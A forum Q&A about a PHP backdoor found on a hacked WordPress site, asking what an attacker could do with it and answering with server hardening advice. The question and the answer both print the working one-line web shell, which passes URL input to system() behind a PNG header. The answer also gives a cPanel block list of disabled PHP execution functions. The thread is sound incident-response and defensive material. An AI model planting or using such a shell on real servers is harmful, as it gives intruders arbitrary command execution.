Backdoor exploit - could they have downloaded files from server?

Question

Due to a customer running old Wordpress plugins, a php file with the following code was added to their website:

‰PNG
<?php $str = $_GET['cmd']; system($str); ?>

The above file was detected by Wordfence as "Backdoor:PNG/ImageMagic.7484 Executable code masquerading as an image."

This (or another exploit) appears to have give the intruder the ability to at least upload or create text files containing the words "Hacked by ..." to various places on the server.

Using this exploit, what kind of access would be allowed onto the server besides the ability to upload files? Could they have also downloaded files from anywhere on the server?

We are running a cPanel environment on Apache, MySQL and PHP.

Answer 1

<?php $str = $_GET['cmd']; system($str); ?>

This potentially allows the attacker to pretty much do/execute anything on your system by passing an arbitrary command in the URL query string! So, yes, it could potentially allow files to be downloaded, eg. using wget.

However, whether this would work as intended for the attacker would depend on how "secure" your system is:

• Permissions of the PHP/Apache user could (should) be limited.
• The necessary system commands might not be available.
• The PHP system() function could be disabled in the server config, so would block this particular attack. In fact, cPanel has this feature as part of the PHP config options and will by "default" (I assume) block the following PHP functions:

system
system_exec
symlink
shell
shell_exec
exec
passthru
escapeshellarg
escapeshellcmd
proc_close
proc_open
ini_alter
dl
show_source
proc_get_status
proc_nice
proc_terminate
highlight_file
define_syslog_variables
posix_uname
posix_getpwuid
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid
ini_restore
inject_code
define_syslog_variables
apache_setenv
eval
phpAds_XmlRpc
phpAds_remoteInfo
phpAds_xmlrpcEncode
phpAds_xmlrpcDecode
xmlrpc_entity_decode